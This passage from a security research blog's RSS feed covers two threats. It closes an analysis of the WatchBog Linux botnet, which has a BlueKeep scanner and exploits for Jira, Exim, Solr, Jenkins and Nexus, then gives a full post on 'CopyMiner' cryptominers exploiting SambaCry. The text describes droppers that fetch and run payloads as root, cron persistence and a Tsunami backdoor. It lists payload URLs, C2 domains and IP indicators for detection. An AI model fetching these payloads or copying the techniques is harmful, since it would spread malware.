&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The scanner will then attempt to find vulnerable RDP servers from the IP list
provided by the CNC:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig16.png" title="WatchBog scanning RDP ports" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;WatchBog scanning RDP ports&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The default Windows service port for RDP is TCP 3389, and can easily be
identified in the packets with &lt;code&gt;Cookie: mstshash=&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can observe the use of the string &lt;code&gt;watchbog&lt;/code&gt; as the username of the RDP
&lt;code&gt;mstshash&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;Among some of the IP lists we found being supplied for RDP scanning, we spotted
that some of the IP addresses belonged to
&lt;a href="https://db-ip.com/all/120.19.72"target="_blank" rel="noopener"&gt;Vodafone Australia&lt;/a&gt; and
&lt;a href="https://db-ip.com/all/139.155.109"target="_blank" rel="noopener"&gt;Tencent Computer Systems&lt;/a&gt; infrastructure.&lt;/p&gt;
&lt;p&gt;After the scanning stage, the WatchBog client returns an RC4 encrypted list of
vulnerable IP addresses encoded as a hexadecimal string:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig18.png" title="Encrypted scanned IP addresses" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Encrypted scanned IP addresses&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The threat actors behind WatchBog may be gathering a list of vulnerable
BlueKeep Windows endpoints for future use, or perhaps to sell to a third party
to make a profit.&lt;/p&gt;
&lt;h3&gt;Spreading&lt;span class="hx:absolute hx:-mt-20" id="spreading"&gt;&lt;/span&gt;
&lt;a href="#spreading" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The WatchBog client includes five exploits for the following CVEs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/blog/cve-2019-11581-critical-template-injection-vulnerability-in-atlassian-jira-server-and-data"target="_blank" rel="noopener"&gt;CVE-2019-11581&lt;/a&gt;
(Jira)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/blog/cve-2019-10149-critical-remote-command-execution-vulnerability-discovered-in-exim"target="_blank" rel="noopener"&gt;CVE-2019-10149&lt;/a&gt;
(Exim)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/cve/CVE-2019-0192"target="_blank" rel="noopener"&gt;CVE-2019-0192&lt;/a&gt; (Solr)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/cve/CVE-2018-1000861"target="_blank" rel="noopener"&gt;CVE-2018-1000861&lt;/a&gt; (Jenkins)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-7238-insufficient-access-controls-in-sonatype-nexus-repository-manager-3-allows-remote-code-execution/"target="_blank" rel="noopener"&gt;CVE-2019-7238&lt;/a&gt;
(Nexus Repository Manager 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig19.png" title="Available pwn modules" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Available pwn modules&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, two modules for bruteforcing CouchDB and Redis instances exist
together along with code to achieve RCE.&lt;/p&gt;
&lt;p&gt;All of the exploited &amp;ldquo;pwn&amp;rdquo; modules allow an attacker to achieve remote code
execution.&lt;/p&gt;
&lt;p&gt;Once a vulnerable service is discovered to which exists an exploit module, the
binary spreads itself by invoking the right exploit and installing a malicious
bash script hosted on Pastebin.&lt;/p&gt;
&lt;p&gt;We were able to find an early test version of the spreader module uploaded to
&lt;a href="https://www.hybrid-analysis.com/sample/cdf11a1fa7e551fe6be1f170ba9dedee80401396adf7e39ccde5df635c1117a9?environmentId=300"target="_blank" rel="noopener"&gt;HybridAnalysis&lt;/a&gt;,
including an exploit to Solr CVE-2019-0192, an exploit to ActiveMQ
CVE-2016-3088, and a module utilizing a technique to gain code execution over
cracked Redis instances:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig20.png" title="Solr exploit as it appears in the test version." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Solr exploit as it appears in the test version.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We presented our findings regarding the high pace of adaptation that WatchBog
is maintaining by integrating recently published exploits and updating its
implants with more up-to-date offensive technologies.&lt;/p&gt;
&lt;p&gt;It is important to highlight that Python malware can become harder to analyze
if it is deployed natively with engines such as Cython. That is in contrast to
other Python native frameworks such as pyinstaller, where Python code can not
be recovered.&lt;/p&gt;
&lt;p&gt;The incorporation of the BlueKeep scanner by a Linux botnet may indicate
WatchBog is beginning to explore financial opportunities on a different
platform. Currently, no known public RCE BlueKeep PoCs exist and it will be
interesting to monitor this group once a PoC is published.&lt;/p&gt;
&lt;h2&gt;Prevention and Response&lt;span class="hx:absolute hx:-mt-20" id="prevention-and-response"&gt;&lt;/span&gt;
&lt;a href="#prevention-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;We recommend to update your relevant software to its latest version:
&lt;ul&gt;
&lt;li&gt;We suggest Windows users refer to Microsoft&amp;rsquo;s
&lt;a href="https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708"target="_blank" rel="noopener"&gt;customer guidance&lt;/a&gt;
in order to mitigate the BlueKeep vulnerability.&lt;/li&gt;
&lt;li&gt;We suggest Linux users, who use Exim, Jira, Solr, Jenkins or Nexus
Repository Manager 3, to update to the latest versions.&lt;/li&gt;
&lt;li&gt;We suggest Linux users, who use Redis or CouchDB, to ensure that there are
no open ports that are exposed outside of trusted networks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We recommend Linux users who suspect that they are infected with WatchBog to
check for the existence of the &lt;code&gt;/tmp/.tmplassstgggzzzqpppppp12233333&lt;/code&gt; file or
the &lt;code&gt;/tmp/.gooobb&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;We have also created a custom
&lt;a href="https://github.com/intezer/yara-rules/blob/master/WatchBog.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
based on WatchBog&amp;rsquo;s malicious code for detecting this threat.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Genetic Analysis&lt;span class="hx:absolute hx:-mt-20" id="genetic-analysis"&gt;&lt;/span&gt;
&lt;a href="#genetic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;WatchBog is indexed in Intezer&amp;rsquo;s genetic database. If you have a suspicious
file that you suspect to be WatchBog, you can upload it to Intezer Analyze in
order to detect code reuse to this malware family. You are welcome to
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;try it in our free community edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e
26ebeac4492616baf977903bb8deb7803bd5a22d8a005f02398c188b0375dfa4
cdf11a1fa7e551fe6be1f170ba9dedee80401396adf7e39ccde5df635c1117a9
https://9d842cb6.ngrok[.]io
https://7dc5fb4e.ngrok[.]io
https://z5r6anrjbcasuikp.onion[.]to
https://pastebin[.]com/raw/Dj3JTtnj
https://pastebin[.]com/raw/p3mGdbpq
https://pastebin[.]com/raw/UeynzXEr
https://pastebin[.]com/raw/MMCFQMH9
3.14.212[.]173
3.14.202[.]129
3.17.202[.]129
3.19.3[.]150
18.188.14[.]65&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>"EternalMiner" Copycats exploiting SambaCry for cryptocurrency mining</title><link>https://research.intezer.com/blog/2017/07/eternalminer-copycats/</link><pubDate>Wed, 26 Jul 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/07/eternalminer-copycats/</guid><description>
&lt;p&gt;About eight weeks ago, a critical RCE vulnerability present in every Samba
version since 2010 was reported and patched. This vulnerability is mostly known
as &amp;ldquo;SambaCry&amp;rdquo; after the famous WannaCry attack targeting Windows systems
vulnerable to &amp;ldquo;EternalBlue&amp;rdquo; SMB exploit. The vulnerability lies in a logical
bug, which enables an attacker with write-only access to a share to load a
malicious samba module and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;Immediately after writing &amp;amp; publishing the first public
&lt;a href="https://github.com/omri9741/cve-2017-7494"target="_blank" rel="noopener"&gt;POC code&lt;/a&gt;, I wrote a yara signature
for a possible exploit payload and we began monitoring our data feeds for
threats exploiting this vulnerability. Over time, we have noticed countless
bind/reverse shells and droppers. Most of them are either Metasploit payload or
other publicly available implants.&lt;/p&gt;
&lt;p&gt;On June 9th, Kaspersky Labs published an article about
&amp;ldquo;&lt;a href="https://securelist.com/sambacry-is-coming/78674/"target="_blank" rel="noopener"&gt;EternalMiner&lt;/a&gt;&amp;rdquo; — a
financially driven cryptocurrency mining malware turning victim machines into
&amp;ldquo;a workhouse on a large farm, mining crypto-currency for the attackers&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Less than a week later, we were able to observe copycat cybercriminals actively
exploiting the vulnerability with a similar yet improved setup for better
cryptomining &amp;amp; control over the victim machines. Naturally, we decided to name
this threat &amp;ldquo;&lt;strong&gt;CopyMiner&lt;/strong&gt;&amp;rdquo;!&lt;/p&gt;
&lt;h2&gt;Overview&lt;span class="hx:absolute hx:-mt-20" id="overview"&gt;&lt;/span&gt;
&lt;a href="#overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As we mentioned above, the copycats used a similar yet improved setup.
Implementing a multistage flexible approach with daily updates from multiple
backup servers, a persistent backdoor for better control of the victim machines
and even a more efficient
&lt;a href="../../../2021/01/a-rare-look-inside-a-cryptojacking-campaign-and-its-profit/"&gt;cryptominer&lt;/a&gt;
for better consumption of the victim machine’s resources! &lt;strong&gt;The copycats took
EternalMiner to the next level as an operation suitable for multiple victim’s
machines&lt;/strong&gt;. In the following sections, we will drill down on each component of
the following graph, comparing CopyMiner’s setup vs EternalMiner:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;&amp;ldquo;CopyMiner&amp;rdquo; Dropper&lt;span class="hx:absolute hx:-mt-20" id="copyminer-dropper"&gt;&lt;/span&gt;
&lt;a href="#copyminer-dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On the 14th of June a small unique dropper
&lt;a href="https://www.virustotal.com/en/file/444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8/analysis/1497997544/"target="_blank" rel="noopener"&gt;sample&lt;/a&gt;
was uploaded to VirusTotal. The dropper starts executing from
&amp;ldquo;samba_init_module&amp;rdquo; exports then tries to fetch a payload from the server &amp;amp;
execute it as root user in the background. This is done using a hard-coded
obfuscated bash one-liner as you can see in the picture below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig2.png" title="sample hash: 444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;sample hash: 444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Payload&lt;span class="hx:absolute hx:-mt-20" id="payload"&gt;&lt;/span&gt;
&lt;a href="#payload" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The payload (&lt;code&gt;http://update1.sdgndsfajfsdf[.]info/u1&lt;/code&gt;) is a short bash script
which relays on system tools for 3 main tasks&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setup daily updates from 3 different backup servers using crontab.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://update.sdgndsfajfsdf.info/upd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://update.sdgsafdsf.pw/upd2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://update.omfg.pw/upd3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Drop and execute Tsunami backdoor &amp;amp; CPUMiner in the background.&lt;/li&gt;
&lt;li&gt;Prevent further exploitation by other players who might compete for
resources(patch &lt;code&gt;smb.conf&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We were also able to fetch the daily update script from a live server
(&lt;code&gt;http://update.sdgndsfajfsdf.info/upd&lt;/code&gt;). It seems that this script is just a
stripped version of the payload script, lacking the daily updates setup
functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;CPUMiner&lt;span class="hx:absolute hx:-mt-20" id="cpuminer"&gt;&lt;/span&gt;
&lt;a href="#cpuminer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;CPUMiner is an open source cryptomining command line utility supporting
multiple coins/algorithms. It seems that the attackers used
&amp;ldquo;&lt;a href="https://github.com/tpruvot/cpuminer-multi"target="_blank" rel="noopener"&gt;cpuminer-multi&lt;/a&gt;&amp;rdquo; – multithreaded
more efficient version of the original @poolers cpuminer used by EternalMiner.
This sample was &amp;ldquo;upgraded&amp;rdquo; it in a similar way as EternalMiner so it could run
standalone without command line parameters. Once started, the upgraded cpuminer
automatically login into the attackers private mining pool server
(&lt;code&gt;p.theywant[.]in:8080&lt;/code&gt;), unlike the public mining pool server used by
EternalMiner (&lt;code&gt;xmr.crypto-pool[.]fr:3333&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Tsunami Backdoor&lt;span class="hx:absolute hx:-mt-20" id="tsunami-backdoor"&gt;&lt;/span&gt;
&lt;a href="#tsunami-backdoor" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Alongside CPUMiner the payload script would also fetch &amp;amp; execute &amp;ldquo;Tsunami&amp;rdquo;
(also known as Kaiten) which is an old Linux irc backdoor/ddos botnet best
known for been used to infect
&lt;a href="https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"target="_blank" rel="noopener"&gt;IOT devices&lt;/a&gt;
and
&lt;a href="https://www.welivesecurity.com/2011/10/25/linux-tsunami-hits-os-x/"target="_blank" rel="noopener"&gt;OSX systems&lt;/a&gt;
in the past. The source is
&lt;a href="https://dl.packetstormsecurity.net/irc/kaiten.c"target="_blank" rel="noopener"&gt;publicly available&lt;/a&gt; and could
be used by anyone. This sample
(&lt;code&gt;d8e93252f41e8b0d10cffa92923eeab94c6c42e8acc308e91340df102042c8c8&lt;/code&gt;) is
configured with hardcoded c2 irc server (&lt;code&gt;asdgsd.uselesslongdomain[.]info&lt;/code&gt;). We
were able to connect to the live irc server using credentials hard coded in the
malware. In the following picture you can see two victims currently logged in
(running as root user).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig5.png" title="Tsunami Backdoor" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Tsunami Backdoor&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Quickly adopting&lt;span class="hx:absolute hx:-mt-20" id="quickly-adopting"&gt;&lt;/span&gt;
&lt;a href="#quickly-adopting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We found that the domain used to host the payload file (&lt;code&gt;sdgndsfajfsdf[.]info&lt;/code&gt;)
was registered on June 13th. Not only that but the first malicious
CPUMiner/Tsunami samples were uploaded to VT a day after(June 14th), meaning
that the attacks started within a short time of only 4-5 days after the
original EternalMiner publication!&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8 Dropper
2b96805abdbd1d9ca03d584e48fcfb30740d051dfc93248ff3e21b3a831c0e1a Payload
22a8dc0603005e3eee49706330c6a5b90214dcb0b3d2f89411fa10a6b3942e3b update file(daily)
d8e93252f41e8b0d10cffa92923eeab94c6c42e8acc308e91340df102042c8c8 Tsunami
162de4e95e5e5d35d80ca4cf752c80b2b32b52c9e5fef5551caa20b0d5ed83af Tsunami
26a717a7a14f10880a2869949814400b31d1f4c9cc45384be38289b012587468 Cpuminer&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update1.sdgndsfajfsdf[.]info
update.sdgndsfajfsdf.info
update.sdgsafdsf.pw
update.omfg.pw
188.138.109.103
asdgsd.uselesslongdomain.info
p.theywant.in&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item></channel></rss>